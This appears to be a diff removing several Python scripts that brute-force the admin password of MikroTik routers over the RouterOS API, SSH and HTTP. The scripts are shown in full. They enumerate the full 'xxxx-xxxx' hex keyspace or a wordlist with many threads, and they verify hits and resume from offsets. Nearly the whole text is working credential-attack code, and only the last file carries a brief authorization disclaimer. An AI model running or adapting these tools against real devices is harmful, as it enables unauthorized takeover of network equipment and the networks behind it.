print(f"\n*** PASSWORD FOUND! ***")
|
||||
print(f"Password: {password}")
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"Attempts: {self.attempts:,}")
|
||||
print(f"Time: {elapsed:.2f} seconds")
|
||||
print(f"Rate: {self.attempts/elapsed:.0f} passwords/second")
|
||||
return password
|
||||
except queue.Empty:
|
||||
continue
|
||||
except KeyboardInterrupt:
|
||||
print(f"\nStopping...")
|
||||
self.stop_flag.set()
|
||||
|
||||
# Wait for workers to finish
|
||||
for worker in workers:
|
||||
worker.join(timeout=1)
|
||||
|
||||
return None
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 mikrotik_fast_brute_force.py <HOST> [workers] [start_hex]")
|
||||
print("Examples:")
|
||||
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2")
|
||||
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32")
|
||||
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32 0x00010000")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 16
|
||||
start_from = 0
|
||||
|
||||
if len(sys.argv) > 3:
|
||||
start_hex = sys.argv[3]
|
||||
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
|
||||
|
||||
# Optimize workers based on CPU cores but don't go crazy
|
||||
import os
|
||||
cpu_count = os.cpu_count() or 4
|
||||
if workers > cpu_count * 4:
|
||||
print(f"Warning: {workers} workers might be too many for {cpu_count} CPU cores")
|
||||
print(f"Consider using {cpu_count * 2} workers instead")
|
||||
|
||||
attacker = FastMikroTikBruteForce(host)
|
||||
|
||||
print(f"Starting optimized attack with {workers} workers...")
|
||||
password = attacker.run_optimized_brute_force(
|
||||
max_workers=workers,
|
||||
chunk_size=500,
|
||||
start_from=start_from
|
||||
)
|
||||
|
||||
if password:
|
||||
print(f"\n✓ SUCCESS! Password: {password}")
|
||||
else:
|
||||
print(f"\n✗ Attack stopped without finding password")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,292 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
MikroTik Full Brute Force Attack
|
||||
Systematically tests ALL possible xxxx-xxxx password combinations
|
||||
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import sys
|
||||
import signal
|
||||
|
||||
class MikroTikFullBruteForce:
|
||||
def __init__(self, host, port=8728):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.username = "admin"
|
||||
self.found_password = None
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
self.lock = threading.Lock()
|
||||
self.stop_flag = threading.Event()
|
||||
self.start_value = 0
|
||||
self.current_value = 0
|
||||
|
||||
def test_api_password(self, password, timeout=2):
|
||||
"""Test password using MikroTik API"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect((self.host, self.port))
|
||||
|
||||
def encode_length(length):
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
else:
|
||||
return bytes([0xFF])
|
||||
|
||||
def write_word(word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
sock.send(encode_length(len(word_bytes)))
|
||||
sock.send(word_bytes)
|
||||
|
||||
def write_sentence(words):
|
||||
for word in words:
|
||||
write_word(word)
|
||||
write_word("")
|
||||
|
||||
def read_word():
|
||||
try:
|
||||
length_byte = sock.recv(1)
|
||||
if not length_byte:
|
||||
return ""
|
||||
length = length_byte[0]
|
||||
if length == 0:
|
||||
return ""
|
||||
if length & 0x80:
|
||||
second_byte = sock.recv(1)
|
||||
if not second_byte:
|
||||
return ""
|
||||
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||
|
||||
if length > 500:
|
||||
return ""
|
||||
|
||||
return sock.recv(length).decode('utf-8', 'ignore')
|
||||
except:
|
||||
return ""
|
||||
|
||||
def read_sentence():
|
||||
sentence = []
|
||||
while True:
|
||||
word = read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
# Send login
|
||||
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||
|
||||
# Read response
|
||||
response = read_sentence()
|
||||
sock.close()
|
||||
|
||||
return response and response[0] == "!done"
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def int_to_password(self, value):
|
||||
"""Convert integer to xxxx-xxxx password format"""
|
||||
hex_str = f"{value:08x}"
|
||||
return f"{hex_str[:4]}-{hex_str[4:]}"
|
||||
|
||||
def test_password_range(self, start_val, end_val):
|
||||
"""Test a range of password values"""
|
||||
for value in range(start_val, end_val):
|
||||
if self.stop_flag.is_set():
|
||||
return None
|
||||
|
||||
password = self.int_to_password(value)
|
||||
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
self.current_value = value
|
||||
current_attempts = self.attempts
|
||||
|
||||
# Progress reporting every 100 attempts
|
||||
if current_attempts % 100 == 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||
percent = (value / 0xFFFFFFFF) * 100
|
||||
|
||||
# Estimate time remaining
|
||||
if rate > 0:
|
||||
remaining_passwords = 0xFFFFFFFF - current_attempts
|
||||
eta_seconds = remaining_passwords / rate
|
||||
eta_hours = eta_seconds / 3600
|
||||
eta_days = eta_hours / 24
|
||||
|
||||
if eta_days > 1:
|
||||
eta_str = f"{eta_days:.1f} days"
|
||||
elif eta_hours > 1:
|
||||
eta_str = f"{eta_hours:.1f} hours"
|
||||
else:
|
||||
eta_str = f"{eta_seconds/60:.1f} minutes"
|
||||
else:
|
||||
eta_str = "unknown"
|
||||
|
||||
print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
|
||||
f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
|
||||
|
||||
if self.test_api_password(password):
|
||||
print(f"\n*** PASSWORD FOUND! ***")
|
||||
print(f"Password: {password}")
|
||||
print(f"Value: 0x{value:08x} ({value:,})")
|
||||
print(f"Total attempts: {current_attempts:,}")
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
||||
self.found_password = password
|
||||
self.stop_flag.set()
|
||||
return password
|
||||
|
||||
return None
|
||||
|
||||
def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
|
||||
"""Run full brute force attack"""
|
||||
print(f"MikroTik Full Brute Force Attack")
|
||||
print(f"Host: {self.host}")
|
||||
print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
|
||||
print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
|
||||
print(f"Threads: {max_workers}")
|
||||
print(f"Chunk size: {chunk_size:,}")
|
||||
print("=" * 80)
|
||||
|
||||
if start_from > 0:
|
||||
print(f"WARNING: Resuming from 0x{start_from:08x}")
|
||||
print(f"Skipping {start_from:,} passwords")
|
||||
print()
|
||||
|
||||
# Estimate time at different rates
|
||||
total_passwords = 0xFFFFFFFF - start_from
|
||||
print("Time estimates at different speeds:")
|
||||
for rate in [50, 100, 200, 500]:
|
||||
seconds = total_passwords / rate
|
||||
days = seconds / (24 * 3600)
|
||||
print(f" {rate:3d} pwd/sec: {days:.1f} days")
|
||||
print()
|
||||
|
||||
self.start_time = time.time()
|
||||
self.current_value = start_from
|
||||
|
||||
# Create work chunks
|
||||
chunks = []
|
||||
current = start_from
|
||||
while current < 0xFFFFFFFF:
|
||||
end = min(current + chunk_size, 0xFFFFFFFF + 1)
|
||||
chunks.append((current, end))
|
||||
current = end
|
||||
|
||||
print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
|
||||
print(f"Starting brute force attack...")
|
||||
print()
|
||||
|
||||
# Use ThreadPoolExecutor
|
||||
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||
future_to_chunk = {
|
||||
executor.submit(self.test_password_range, start, end): (start, end)
|
||||
for start, end in chunks[:max_workers * 10] # Submit first batch
|
||||
}
|
||||
|
||||
chunk_index = max_workers * 10
|
||||
|
||||
for future in as_completed(future_to_chunk):
|
||||
if self.stop_flag.is_set():
|
||||
# Cancel remaining tasks
|
||||
for f in future_to_chunk:
|
||||
f.cancel()
|
||||
break
|
||||
|
||||
chunk_range = future_to_chunk[future]
|
||||
try:
|
||||
result = future.result()
|
||||
if result:
|
||||
return result
|
||||
except Exception as e:
|
||||
print(f"Error in chunk {chunk_range}: {e}")
|
||||
|
||||
# Submit next chunk if available
|
||||
if chunk_index < len(chunks) and not self.stop_flag.is_set():
|
||||
start, end = chunks[chunk_index]
|
||||
new_future = executor.submit(self.test_password_range, start, end)
|
||||
future_to_chunk[new_future] = (start, end)
|
||||
chunk_index += 1
|
||||
|
||||
if not self.found_password:
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"\nBrute force completed without finding password.")
|
||||
print(f"Total attempts: {self.attempts:,}")
|
||||
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
||||
if self.attempts > 0:
|
||||
print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||
|
||||
return self.found_password
|
||||
|
||||
def signal_handler(signum, frame):
|
||||
"""Handle Ctrl+C gracefully"""
|
||||
print(f"\n\nReceived signal {signum}")
|
||||
print("Stopping attack gracefully...")
|
||||
sys.exit(0)
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
|
||||
print("Examples:")
|
||||
print(" python3 mikrotik_full_brute_force.py 10.250.2.2")
|
||||
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8")
|
||||
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000 # Resume from 0x00010000")
|
||||
print()
|
||||
print("WARNING: Full brute force will take a VERY long time!")
|
||||
print("At 100 passwords/second, it would take ~1.36 years to complete.")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
||||
start_from = 0
|
||||
|
||||
if len(sys.argv) > 3:
|
||||
start_hex = sys.argv[3]
|
||||
if start_hex.startswith('0x'):
|
||||
start_from = int(start_hex, 16)
|
||||
else:
|
||||
start_from = int(start_hex)
|
||||
|
||||
# Install signal handler
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
|
||||
# Confirm before starting
|
||||
print(f"About to start full brute force against {host}")
|
||||
print(f"This will test ALL 4,294,967,296 possible passwords!")
|
||||
print(f"Starting from: 0x{start_from:08x}")
|
||||
print()
|
||||
response = input("Are you sure you want to continue? (yes/no): ")
|
||||
if response.lower() != 'yes':
|
||||
print("Aborted.")
|
||||
sys.exit(0)
|
||||
|
||||
attacker = MikroTikFullBruteForce(host)
|
||||
password = attacker.run_full_brute_force(
|
||||
max_workers=threads,
|
||||
chunk_size=1000,
|
||||
start_from=start_from
|
||||
)
|
||||
|
||||
if password:
|
||||
print(f"\n✓ SUCCESS! Password found: {password}")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print(f"\n✗ Password not found in tested range.")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,296 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Reliable Fast MikroTik Brute Force
|
||||
Optimized for speed while maintaining authentication accuracy
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import queue
|
||||
import sys
|
||||
|
||||
class ReliableFastBruteForce:
|
||||
def __init__(self, host, port=8728):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.username = "admin"
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
self.lock = threading.Lock()
|
||||
self.stop_flag = threading.Event()
|
||||
self.found_password = None
|
||||
|
||||
def reliable_api_test(self, password):
|
||||
"""Fast but reliable API test"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
sock.settimeout(2) # Reasonable timeout
|
||||
sock.connect((self.host, self.port))
|
||||
|
||||
def encode_length(length):
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
else:
|
||||
return bytes([0xFF])
|
||||
|
||||
def write_word(word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
sock.send(encode_length(len(word_bytes)))
|
||||
sock.send(word_bytes)
|
||||
|
||||
def write_sentence(words):
|
||||
for word in words:
|
||||
write_word(word)
|
||||
write_word("")
|
||||
|
||||
def read_word():
|
||||
try:
|
||||
length_byte = sock.recv(1)
|
||||
if not length_byte:
|
||||
return ""
|
||||
length = length_byte[0]
|
||||
if length == 0:
|
||||
return ""
|
||||
if length & 0x80:
|
||||
second_byte = sock.recv(1)
|
||||
if not second_byte:
|
||||
return ""
|
||||
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||
|
||||
if length > 500: # Sanity check
|
||||
return ""
|
||||
|
||||
return sock.recv(length).decode('utf-8', 'ignore')
|
||||
except:
|
||||
return ""
|
||||
|
||||
def read_sentence():
|
||||
sentence = []
|
||||
tries = 0
|
||||
while tries < 10: # Limit attempts
|
||||
word = read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
tries += 1
|
||||
return sentence
|
||||
|
||||
# Send login
|
||||
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||
|
||||
# Read response with timeout
|
||||
sock.settimeout(1) # Shorter timeout for response
|
||||
response = read_sentence()
|
||||
sock.close()
|
||||
|
||||
# Reliable success detection
|
||||
if response and len(response) > 0:
|
||||
if response[0] == "!done":
|
||||
return True
|
||||
elif response[0] == "!trap":
|
||||
# Check for specific error message
|
||||
for item in response:
|
||||
if "invalid user name or password" in item.lower():
|
||||
return False
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def verify_password(self, password):
|
||||
"""Double-check a potential password with multiple methods"""
|
||||
print(f"\nVerifying potential password: {password}")
|
||||
|
||||
# Test API multiple times
|
||||
api_results = []
|
||||
for i in range(3):
|
||||
result = self.reliable_api_test(password)
|
||||
api_results.append(result)
|
||||
time.sleep(0.1)
|
||||
|
||||
api_success = sum(api_results) >= 2 # Majority vote
|
||||
|
||||
# Test SSH as secondary verification
|
||||
ssh_success = False
|
||||
try:
|
||||
import paramiko
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
self.host,
|
||||
port=22,
|
||||
username=self.username,
|
||||
password=password,
|
||||
timeout=3,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
# Try to execute a command
|
||||
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
|
||||
output = stdout.read().decode()
|
||||
client.close()
|
||||
ssh_success = len(output) > 5 # Got some output
|
||||
except Exception:
|
||||
ssh_success = False
|
||||
|
||||
print(f" API results: {api_results} (success: {api_success})")
|
||||
print(f" SSH result: {ssh_success}")
|
||||
|
||||
# Require both API and SSH success for verification
|
||||
return api_success and ssh_success
|
||||
|
||||
def batch_worker(self, start_val, batch_size):
|
||||
"""Process a batch of passwords"""
|
||||
local_attempts = 0
|
||||
|
||||
for i in range(batch_size):
|
||||
if self.stop_flag.is_set():
|
||||
break
|
||||
|
||||
value = start_val + i
|
||||
if value > 0xFFFFFFFF:
|
||||
break
|
||||
|
||||
hex_str = f"{value:08x}"
|
||||
password = f"{hex_str[:4]}-{hex_str[4:]}"
|
||||
|
||||
local_attempts += 1
|
||||
|
||||
if self.reliable_api_test(password):
|
||||
# Potential match - verify it thoroughly
|
||||
if self.verify_password(password):
|
||||
with self.lock:
|
||||
self.attempts += local_attempts
|
||||
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
|
||||
self.found_password = password
|
||||
self.stop_flag.set()
|
||||
return True
|
||||
else:
|
||||
print(f" False positive rejected: {password}")
|
||||
|
||||
with self.lock:
|
||||
self.attempts += local_attempts
|
||||
|
||||
return False
|
||||
|
||||
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
|
||||
"""Run reliable fast brute force"""
|
||||
print(f"Reliable Fast MikroTik Brute Force")
|
||||
print(f"Host: {self.host}")
|
||||
print(f"Workers: {max_workers}")
|
||||
print(f"Batch size: {batch_size}")
|
||||
print(f"Starting from: 0x{start_from:08x}")
|
||||
print("Features: Double verification, false positive rejection")
|
||||
print("=" * 70)
|
||||
|
||||
self.start_time = time.time()
|
||||
|
||||
# Progress reporter
|
||||
def progress_reporter():
|
||||
last_attempts = 0
|
||||
while not self.stop_flag.is_set():
|
||||
time.sleep(5) # Report every 5 seconds
|
||||
with self.lock:
|
||||
current_attempts = self.attempts
|
||||
|
||||
if current_attempts > 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = current_attempts / elapsed
|
||||
recent_rate = (current_attempts - last_attempts) / 5
|
||||
current_value = start_from + current_attempts
|
||||
hex_val = f"{current_value:08x}"
|
||||
password = f"{hex_val[:4]}-{hex_val[4:]}"
|
||||
|
||||
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
|
||||
print(f" Current: {password} (0x{current_value:08x})")
|
||||
|
||||
last_attempts = current_attempts
|
||||
|
||||
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
|
||||
progress_thread.start()
|
||||
|
||||
# Submit work in batches
|
||||
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||
futures = []
|
||||
current_val = start_from
|
||||
|
||||
# Submit initial work
|
||||
for _ in range(max_workers * 2):
|
||||
if current_val > 0xFFFFFFFF:
|
||||
break
|
||||
future = executor.submit(self.batch_worker, current_val, batch_size)
|
||||
futures.append(future)
|
||||
current_val += batch_size
|
||||
|
||||
# Process results and submit more work
|
||||
while futures and not self.stop_flag.is_set():
|
||||
completed = []
|
||||
for future in futures:
|
||||
if future.done():
|
||||
completed.append(future)
|
||||
try:
|
||||
if future.result(): # Found password
|
||||
self.stop_flag.set()
|
||||
break
|
||||
except Exception as e:
|
||||
print(f"Worker error: {e}")
|
||||
|
||||
# Remove completed futures
|
||||
for future in completed:
|
||||
futures.remove(future)
|
||||
|
||||
# Submit more work
|
||||
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
|
||||
future = executor.submit(self.batch_worker, current_val, batch_size)
|
||||
futures.append(future)
|
||||
current_val += batch_size
|
||||
|
||||
time.sleep(0.1)
|
||||
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||
|
||||
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
|
||||
return self.found_password
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
|
||||
print("Examples:")
|
||||
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
|
||||
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
|
||||
start_from = 0
|
||||
|
||||
if len(sys.argv) > 3:
|
||||
start_hex = sys.argv[3]
|
||||
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
|
||||
|
||||
attacker = ReliableFastBruteForce(host)
|
||||
password = attacker.run_reliable_fast(
|
||||
max_workers=workers,
|
||||
batch_size=50,
|
||||
start_from=start_from
|
||||
)
|
||||
|
||||
if password:
|
||||
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
|
||||
print(f"You can now access the device with admin:{password}")
|
||||
else:
|
||||
print(f"\n✗ No password found in tested range")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,256 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Optimized MikroTik Password Attack using Wordlist
|
||||
Tests passwords from generated wordlist using most efficient methods
|
||||
"""
|
||||
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import socket
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
|
||||
class MikroTikWordlistAttack:
|
||||
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
|
||||
self.host = host
|
||||
self.wordlist_file = wordlist_file
|
||||
self.username = "admin"
|
||||
self.found_password = None
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
self.lock = threading.Lock()
|
||||
self.stop_flag = threading.Event()
|
||||
|
||||
def load_wordlist(self):
|
||||
"""Load passwords from wordlist file"""
|
||||
try:
|
||||
with open(self.wordlist_file, 'r') as f:
|
||||
passwords = [line.strip() for line in f if line.strip()]
|
||||
return passwords
|
||||
except FileNotFoundError:
|
||||
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
|
||||
print("Run 'python3 generate_mikrotik_wordlist.py' first")
|
||||
return []
|
||||
|
||||
def test_api_connection(self, password, port=8728, timeout=3):
|
||||
"""Test MikroTik API connection (most reliable method)"""
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect((self.host, port))
|
||||
|
||||
# Send login command in MikroTik API format
|
||||
def encode_length(length):
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
return bytes([0xFF]) # Simplified for short strings
|
||||
|
||||
def write_word(sock, word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
sock.send(encode_length(len(word_bytes)))
|
||||
sock.send(word_bytes)
|
||||
|
||||
def write_sentence(sock, words):
|
||||
for word in words:
|
||||
write_word(sock, word)
|
||||
write_word(sock, "")
|
||||
|
||||
def read_word(sock):
|
||||
length_byte = sock.recv(1)
|
||||
if not length_byte:
|
||||
return ""
|
||||
length = length_byte[0]
|
||||
if length == 0:
|
||||
return ""
|
||||
if length & 0x80:
|
||||
# Multi-byte length, simplified handling
|
||||
length = length & 0x7F
|
||||
if length > 50: # Sanity check
|
||||
return ""
|
||||
try:
|
||||
return sock.recv(length).decode('utf-8', 'ignore')
|
||||
except:
|
||||
return ""
|
||||
|
||||
def read_sentence(sock):
|
||||
sentence = []
|
||||
try:
|
||||
while True:
|
||||
word = read_word(sock)
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
except:
|
||||
pass
|
||||
return sentence
|
||||
|
||||
# Send login
|
||||
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
|
||||
|
||||
# Read response
|
||||
sock.settimeout(2) # Shorter timeout for response
|
||||
response = read_sentence(sock)
|
||||
sock.close()
|
||||
|
||||
return response and len(response) > 0 and response[0] == "!done"
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def test_http_connection(self, password, timeout=3):
|
||||
"""Test HTTP connection"""
|
||||
try:
|
||||
# Test if we can access a protected resource
|
||||
response = requests.get(
|
||||
f"http://{self.host}/webfig/",
|
||||
auth=HTTPBasicAuth(self.username, password),
|
||||
timeout=timeout,
|
||||
allow_redirects=False
|
||||
)
|
||||
# Success if we don't get 401/403
|
||||
return response.status_code not in [401, 403]
|
||||
except:
|
||||
return False
|
||||
|
||||
def test_ssh_connection(self, password, timeout=3):
|
||||
"""Test SSH connection"""
|
||||
try:
|
||||
import paramiko
|
||||
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
self.host,
|
||||
port=22,
|
||||
username=self.username,
|
||||
password=password,
|
||||
timeout=timeout,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def test_password(self, password):
|
||||
"""Test a password using multiple methods"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
current_attempts = self.attempts
|
||||
|
||||
# Progress reporting
|
||||
if current_attempts % 10 == 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
||||
|
||||
# Test methods in order of reliability and speed
|
||||
methods = [
|
||||
("API", lambda: self.test_api_connection(password)),
|
||||
("HTTP", lambda: self.test_http_connection(password)),
|
||||
("SSH", lambda: self.test_ssh_connection(password)),
|
||||
]
|
||||
|
||||
for method_name, test_func in methods:
|
||||
try:
|
||||
if test_func():
|
||||
print(f"\n*** SUCCESS! ***")
|
||||
print(f"Password found: {password}")
|
||||
print(f"Method: {method_name}")
|
||||
print(f"Host: {self.host}")
|
||||
print(f"Username: {self.username}")
|
||||
print(f"Total attempts: {current_attempts}")
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"Time taken: {elapsed:.2f} seconds")
|
||||
self.found_password = password
|
||||
self.stop_flag.set()
|
||||
return True
|
||||
except Exception as e:
|
||||
# If one method fails, try the next
|
||||
continue
|
||||
|
||||
return False
|
||||
|
||||
def run_attack(self, max_workers=4):
|
||||
"""Run the wordlist attack"""
|
||||
passwords = self.load_wordlist()
|
||||
if not passwords:
|
||||
return None
|
||||
|
||||
print(f"Starting wordlist attack against {self.host}")
|
||||
print(f"Username: {self.username}")
|
||||
print(f"Passwords to test: {len(passwords)}")
|
||||
print(f"Concurrent threads: {max_workers}")
|
||||
print("=" * 60)
|
||||
|
||||
self.start_time = time.time()
|
||||
|
||||
# Use ThreadPoolExecutor for controlled concurrency
|
||||
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||
# Submit all password tests
|
||||
future_to_password = {
|
||||
executor.submit(self.test_password, pwd): pwd
|
||||
for pwd in passwords
|
||||
}
|
||||
|
||||
# Process results as they complete
|
||||
for future in as_completed(future_to_password):
|
||||
if self.stop_flag.is_set():
|
||||
# Cancel remaining tasks
|
||||
for f in future_to_password:
|
||||
f.cancel()
|
||||
break
|
||||
|
||||
password = future_to_password[future]
|
||||
try:
|
||||
result = future.result()
|
||||
if result:
|
||||
return self.found_password
|
||||
except Exception as e:
|
||||
print(f"Error testing {password}: {e}")
|
||||
|
||||
if not self.found_password:
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"\nWordlist attack completed.")
|
||||
print(f"Total attempts: {self.attempts}")
|
||||
print(f"Time taken: {elapsed:.2f} seconds")
|
||||
print(f"No password found in wordlist.")
|
||||
print("\nNext steps:")
|
||||
print("1. Try generating larger wordlist with more patterns")
|
||||
print("2. Consider full brute force attack")
|
||||
print("3. Hardware reset if device is accessible")
|
||||
|
||||
return self.found_password
|
||||
|
||||
def main():
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
|
||||
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
||||
|
||||
attacker = MikroTikWordlistAttack(host)
|
||||
password = attacker.run_attack(max_workers=threads)
|
||||
|
||||
if password:
|
||||
print(f"\n✓ Attack successful! Password: {password}")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print(f"\n✗ Attack failed. No password found.")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,348 +0,0 @@
|
|||
"""
|
||||
MikroTik RouterBoard Password Brute Force Tool
|
||||
|
||||
This tool attempts to find the admin password for a MikroTik device
|
||||
by randomly generating and testing password combinations.
|
||||
|
||||
It tries all possible 4-byte hex combinations (in random order) which matches
|
||||
the MikroTik password format "XXXX-XXXX".
|
||||
|
||||
USAGE: Only use on devices you own or have authorization to access.
|
||||
Unauthorized access to computer systems is illegal.
|
||||
"""
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
from threading import Thread, Lock
|
||||
import queue
|
||||
|
||||
|
||||
class MikroTikBruteForce:
|
||||
"""Brute force MikroTik RouterBoard passwords."""
|
||||
|
||||
def __init__(self, host, port=22, timeout=5, use_http=False):
|
||||
"""
|
||||
Initialize the brute force tool.
|
||||
|
||||
Args:
|
||||
host (str): IP address of the device
|
||||
port (int): Port to connect to (22 for SSH, 80 for HTTP)
|
||||
timeout (int): Connection timeout in seconds
|
||||
use_http (bool): Use HTTP instead of SSH
|
||||
"""
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.timeout = timeout
|
||||
